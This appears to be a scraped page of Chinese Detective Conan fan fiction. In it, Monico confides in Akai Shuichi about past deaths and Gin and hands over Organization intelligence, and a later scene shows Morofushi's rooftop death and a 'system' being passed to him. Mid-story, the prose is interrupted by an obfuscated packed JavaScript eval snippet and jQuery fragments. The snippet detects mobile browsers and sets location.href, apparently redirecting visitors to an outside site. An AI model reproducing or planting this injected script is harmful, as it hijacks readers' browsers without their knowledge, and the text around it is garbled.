纽约的冬夜很深。


    雪已经停了，窗玻璃上结了一层薄薄的霜花。客厅里没开灯，只有对面公寓楼的灯光透进来，在墙壁上投下模糊的淡黄色光斑。


    莫尼科靠在沙发扶手上，腿蜷着，肩抵着靠垫。赤井秀一坐在另一端，中间隔着一杯威士忌。


    他们就这样坐了快一个小时。


    不说话，也不动。只有暖气片偶尔发出嘶嘶的轻响，和冰箱每隔一段时间启动的低沉嗡鸣。


    莫尼科忽然开口。


    “我总觉得，”他说，“你什么都知道。”


    赤井秀一没有立刻回答。他垂眼看着那杯威士忌，冰早已化尽，琥珀色的液体静止如凝固的松脂。


    “不是。”赤井秀一回答。


    “不是什么？”


    “不是什么都知道。”


    莫尼科偏过头看他。落地灯的开关在沙发另一头，赤井秀一的脸隐在半明半暗的边界，镜片偶尔反光，遮住那双绿色的眼睛。


    “你知道多少。”莫尼科问。


    赤井秀一沉默了一会儿：“我有两段完整的记忆。你为MI6工作，同时在1997年去日本，再也没回来”


    莫尼科没有说话。


    窗外又开始飘雪，很小很轻的雪，落在玻璃上立刻化成水痕，像泪痕，又不像。


    莫尼科有很多话想说。


    那些话在喉咙里堆了三条时间线，从布伦尼文的第一次死亡，到森川和也被割开的喉咙，再到莫尼科·海耶斯在雨夜掏出森川玲子留下的U盘。它们像沉在海底的沉船，锈迹斑斑，长满藤壶，他以为已经永远不会浮上来。


    但此刻面对这个人的侧脸，那些沉船开始松动。


    “我第一次死的时候在欧洲。”他开口，声音很轻，“任务失败，琴酒站在我旁边，看着我咽气。”


    赤井秀一没有动。


    “他什么都没说，甚至没多看一眼。就站在那里，等我心跳停，然后转身走了。”莫尼科把脸埋进靠垫的边缘，声音有些闷。“后来我才知道，他其实可以拉我一把。他离我不到三米。”


    “但他没有。”


    “嗯。”


    沉默像夜色一样漫进来。


    “第二次是割喉，”莫尼科说，“卡慕做的。”


    他的手指无意识地摸向脖颈，那里有一道陈旧的，经过多次修复依然隐约可见的疤痕。赤井秀一的目光跟着他的指尖落在那道痕迹上。


    “很痛。”莫尼科说，“但死得很快。割喉的好处就是快。”


    他的语气很平淡，像在说一件不相干的事。


    “后来我用点数复活了，只不过每次用都会留下疤痕。”他把手从脖颈上放下来，垂在身侧，“心脏旁边那个也是卡慕干的，我怀疑他针对我。”


    “其他的呢？”赤井秀一看着莫尼科垂下去的手指，看着那截露出袖口的、布满细碎旧伤的手腕——除了致命伤以外，莫尼科身上还有审讯留下的疤痕。


    那些伤痕像蔓延的触手，紧紧地包裹着莫尼科，随着他的呼吸起伏。


    莫尼科没有回答，转移了话题：“我一直想不明白要不要怪他。”


    “琴酒？”


    “我不知道怎么怪他，他从来不知道我是谁。在他眼里我只是布伦尼文，一个不太称职、运气也不好的搭档。”莫尼科把脸转过来，看着天花板，“他不知道自己杀了森川和也，他也不知道布伦尼文就是森川和也。对他来说那只是任务。”


    赤井秀一没有说话。


    “但我想救的人，”莫尼科的声音开始有些发涩，“他一个接一个地杀。”


    “波本。苏格兰。还有他自己。”


    “我不知道该怎么办，Akai。我真的爱过他，可我要怎么面对他？”


    房间里很安静。暖气片还在嘶嘶地响，冰箱启动的声音已经停了。赤井秀一倾身，把那杯威士忌推到茶几边缘，然后伸出手，覆在莫尼科垂在沙发边缘的手背上。


    他的掌心干燥温热，带着薄茧特有的粗砺触感，没有握紧，只是覆着，像一片落在水面的叶子。


    “你不需要现在想清楚。”他说。


    莫尼科没有说话。


    “你也不需要一个人扛。”


    莫尼科的眼眶开始泛红。


    他把脸埋进另一只手的手心里，然后是长久的沉默，安静的沉默，无声的沉默。


    赤井秀一没有拉他，没有把他抱进怀里，没有说任何安慰的话。他只是握着莫尼科那只垂在沙发边的手，很轻地在他手那道疤痕上摩挲。


    过了很久，久到窗外的雪停了又下。


    莫尼科忽然猛地坐直。


    他把手从赤井秀一掌心抽出来，赤井秀一没有拦他。他看见莫尼科用力抹了一把脸，眼眶还是红的，但眼神已经变了。


    “来都来了，我有情报要给你。”他的声音还带着沙哑，但语气已经恢复了莫尼科惯有的冷淡。“关于组织的。很多。”


    他从茶几下面拖出电脑，开机，调出一份加密文档。


    “这里是所有我确认过的据点坐标。关东十三个，关西七个，九州三个，北海道两个。有些还在用，有些已经废弃，但可以作为追溯组织的切口。”


    他的手指在触摸板上滑动，速度很快。


    “这是财务渠道。四个海外账户，一个伪装成艺术品投资基金的洗钱网络，两个赌场中介人。账户名和密码都在这里。”


    他顿了顿，调出下一页。


    “这是研究设施。三个生物实验室，一个化学合成基地，还有一个——”


    他停了一下。


    “——权限非常高，连布伦尼文也不完全清楚，具体进度不明，但代号已经定下来了。APTX-4869。”


    他把电脑转向赤井秀一，屏幕蓝白色的光映在两人脸上。


    赤井秀一垂眼看着那些条目。他没有惊讶，没有追问信息来源。他只是安静地看，一行一行，像在阅读一封来自远方、早已预料会抵达的信。


    “……还有苏格兰威士忌。”莫尼科说。


    赤井秀一的视线凝固在屏幕上。


    “这是我的同期。”莫尼科的声音带着不易察觉的怀念，“警校的时候，他睡我隔壁宿舍，他的幼驯染是波本——安室透，降谷零，你应该知道。”


    他顿了顿。


    “如果有一天你遇见他们，手下留情。”


    赤井秀一没有立刻回答。他的目光还停留在屏幕上，但没有聚焦。眼镜片反射着文档的白光，看不出神色。


    沉默持续了三秒。五秒。七秒。


    在这长久的沉默里，莫尼科心中徒增巨大的恐慌。


    “苏格兰已经死了。”赤井秀一说。


    莫尼科看着他。


    “你说什么？”


    “苏格兰威士忌。”赤井秀一在陈述一个很久以前就知道的事实，“诸伏景光。长野县人。警察厅卧底。”


    他抬起眼睛，看向莫尼科。


    “他已经死了。”


    房间里安静得只剩下窗外雪落的声音。莫尼科坐在那里，手还扶在电脑边缘，指尖发白。


    “……什么时候。”


    “你假死之后不久。”赤井秀一说，“他的身份暴露，被组织围捕。他选择自杀，用枪打穿了自己的心脏。临死前他打穿了联络用的手机，那个手机应该被波本拿走了。”


    莫尼科盯着电脑屏幕，屏幕上的文档还在，安全屋、财务渠道、研究设施。那些他花了三条时间线拼凑出来的情报，此刻像一堆苍白又毫无意义的字符。


    “……怎么暴露的。”


    赤井秀一沉默了一会儿：“他的卧底身份，被组织在公安的卧底暴露出来了。”


    “谁。”


    “不知道。公安内部排查过，没有结果。”


    莫尼科没有再问。


    他把电脑缓缓合上，指尖在黑色机壳上停顿了很久。


    “波本，”他说，“降谷零，他还活着。”


    “活着。”


    “在组织里。”


    “是。”


    “继续当波本。”


    “是。”


    莫尼科低下头。


    他看见自己的手指在发抖，于是把两只手交叠在一起，用力压住：“那天在天台上的人，是你。”


    “我很抱歉。”


    “你向他坦白了身份，他不信。”


    “他没有理由信。”


    莫尼科把脸埋进交叠的双手里，又是一片大雪般的沉默。在这样的沉默中莫尼科开始颤抖，像积雪从枝头滑落。


    “我不怪你。”他的声音从指缝间传出来，闷闷的，湿漉漉的，“我也不怪景光。不怪零。”


    “我怪那个操蛋的组织。”


    “我怪琴酒。”


    “我怪他。他杀了那么多人，他杀了我两次，他杀了我爱的人——他间接杀了景光。他不记得，他什么都不知道，但这不能改变他杀人的事实。”


    他顿了一下，声音越来越轻。


    “可是……”


    他没有说下去。


    赤井秀一伸出手，张开手掌，把莫尼科整个拳头包进掌心。


    “我知道。”他说。


    莫尼科低着头，看着他们交握的手。


    “……我该怎么办？我比谁都恨那个组织。我想把它连根拔起，把每一个成员送上法庭，把琴酒——”


    他没有说下去。


    赤井秀一等他。


    “可是他怎么办。”莫尼科说，“如果组织没了，琴酒也会死。”


    他的喉咙像卡着什么东西。


    “我不想他死。”


    “我不想任何人死。可我不知道怎么让他活，又让所有他伤害过的人得到公平。”


    他低着头，肩膀塌着，整个人像一座正在缓慢坍缩的建筑。


    “我不知道该怎么办。”


    赤井秀一握紧了他的手，然后他松开，站起来。


    有一瞬间莫尼科以为他要走了。


    但赤井秀一只是换了个位置——从沙发的另一端，移到莫尼科面前。他蹲下来，平视着莫尼科。


    那双绿色的眼睛此刻没有任何遮掩。没有冲矢昴的温和，没有FBI王牌狙击手的锐利。只是一双很安静的眼睛，像深冬无风的湖面。


    “如果太累了。”他说，“不想继续了也可以。”


    莫尼科看着他。


    “想逃避的话就逃避吧，不是每次都要做对的选择。”


    莫尼科看着他。


    很久很久。


    他忽然觉得有什么东西正在胸口破土而出。不是电光石火的悸动——不是。是更慢更沉的东西，像冬天冻住的大地终于开始松动。


    这个人说可以。


    这个人说他可以逃避。


    这个人和他认识了很多次，三条时间线，无数次擦肩而过和一次假死重逢。这个人从来不问他的过去，从来不质疑他的身份，从来不说“你应该怎样”。


    他只会说：你不需要一个人扛。


    他只会说：想逃避的话，也可以。


    “你知不知道，”莫尼科忽然笑了，“这种话，比‘我爱你’还让人受不了。”


    赤井秀一伸出手，把莫尼科额头垂下来的一缕碎发拨到耳后。指尖在他耳廓边缘停了一下，然后收回去。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189149|197044||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我知道。”赤井秀一说。


    窗外的雪停了。


    莫尼科看着窗外逐渐清朗的夜空，看着对面公寓楼亮起的零星灯光。凌晨三点，纽约还在沉睡。


    他把交握的手从赤井秀一掌心抽出来。


    赤井秀一没有挽留。他收回手，站起来，回到沙发另一端坐下。


    “我得走了。”莫尼科说。


    他站起来，把电脑装进背包，拉链拉好。他的动作很慢，像在做一个极其艰难的决定。


    “情报都在里面。”他把背包放在茶几上，“FBI比我更需要它。”


    赤井秀一看着那个包，没有动。


    “你呢。”


    莫尼科没有回答。他站在玄关，弯腰把鞋穿上，把外套拉链拉到顶，然后握着门把手，站了很久。


    “Akai。”


    “嗯。”


    “如果有一天，”他背对着客厅，声音很轻，“你真的拥有了所有周目的记忆……”


    赤井秀一等着。


    “……算了。”莫尼科说，“到时候再说。”


    他拧开门把手。


    “Mani。”赤井秀一的声音从身后传来，像落进深井的石子。“下个时间，我们再见。”


    莫尼科的手指在门框边缘顿了一下，然后松开：“好。”


    门在他身后关上，走廊的感应灯亮了又灭了，他在黑暗里站了很久。


    然后他走进电梯，走进纽约凌晨四点无人的街道，走进那场已经停了的、薄雾般的雪里。


    ……


    东京，天台。


    风很大。


    诸伏景光站在天台边缘，背靠着冰冷的铁丝网围栏。他的枪口抵在自己胸口。


    赤井秀一站在五米开外。


    “诸伏景光。”他说。


    景光看着他。


    诸星大，黑麦威士忌，狙击手。现在站在他面前，说自己是来帮他的。


    他不知道自己该不该信。


    楼梯间里脚步声正在逼近。


    “我无意阻止你的选择，”赤井秀一在大风中开口，“只是有人拜托过我一件事。他说如果遇见你，手下留情。”


    “……谁。”


    赤井秀一没有回答也不需要回答。


    景光的瞳孔微微收缩。一瞬间他想起很多事：倒茶时下意识用左手托底的手，吃三明治挑掉生菜的习惯，深夜安全屋里递来热咖啡时吐槽“你看起来三天没睡了”。


    他不知道自己应该愤怒还是悲伤。


    他甚至不知道自己还有没有资格愤怒。


    脚步声越来越近，楼梯间的门在震颤。诸伏景光低头，看着自己握枪的手，想起很多年前，在警校的射击场上，教官说枪口永远不要指向同伴。


    他指向了自己。


    没关系。他想。


    东京的夜很难看见星星。乌云太厚，灯光太亮，什么都看不见。诸伏景光忽然想起小时候，和零一起躺在长野老家的屋顶上，数那些永远数不清的星星。


    零说以后要去东京。


    他说好，一起去。


    他们确实一起来了，只是没有一起回去。


    景光闭上眼睛。


    食指用力。


    ——然后他感到有什么东西从身体里抽离了。


    不是血，不是生命。是另一种东西，轻得像羽毛，冷得像初雪。


    他的意识悬浮在半空中，看见自己的躯体向后仰去，枪从指间滑落，血从胸口涌出。


    他看见零从楼梯间里冲出来，捡起那个被子弹打穿的手机，赤井秀一站在几步之外，沉默地注视着这一切。


    一切都像一个沉默的哑剧。


    他还看见天台角落的阴影里，站着一个人。


    那个人穿着灰扑扑的外套，帽子拉得很低，看不清脸。他怀里抱着什么东西，像是一个从未开启过的、发着微弱蓝光的——


    系统界面。


    诸伏景光听不见声音，但他看见那个人的嘴唇动了一下，像在说：等等。


    那个人伸出手，朝他的方向，把怀里那团蓝光用力推了过来。


    光撞进他胸口的那一刻，诸伏景光感到一股温热的、从未体验过的力量在体内苏醒。像沉睡了很多年的心脏，终于开始跳动。


    【系统已移交。】


    【新用户：诸伏景光。】


    【复活倒计时：未知。】


    诸伏景光不知道自己是什么，也不知道这行字意味着什么。他只知道那个站在阴影里的人，在他视线模糊的最后一瞬，朝他点了点头。


    像一个轻柔的告别。


    诸伏景光的意识沉入黑暗。


    天台的风还在吹，赤井秀一转身走向楼梯间，把时间留给这对幼驯染。天台角落的阴影里已经空无一人，只有风吹过锈蚀的铁丝网，发出低沉的呜咽。


    ……


    很多天后。


    莫尼科站在公寓窗前，看着窗外灰白色的天空。系统界面在他视野边缘安静地悬浮着。


    【苏格兰威士忌——诸伏景光】


    【状态：等待中】


    【预计唤醒时间：正在计算……】


    窗外开始飘雪。


    他想起那个在警校天台和他分过同一罐咖啡的人，想起那个在洗衣店外冲进火海的人，想起那个在深夜安全屋里、用那双温润的蓝眼睛安静看着他说“你倒茶的手势像我一个故人”的人。


    他想起赤井秀一说：“下个时间，我们再见。”


    森川海把手贴在冰冷的玻璃上。


    “下个时间。”他低声说。


    雪落在窗台，无声无息。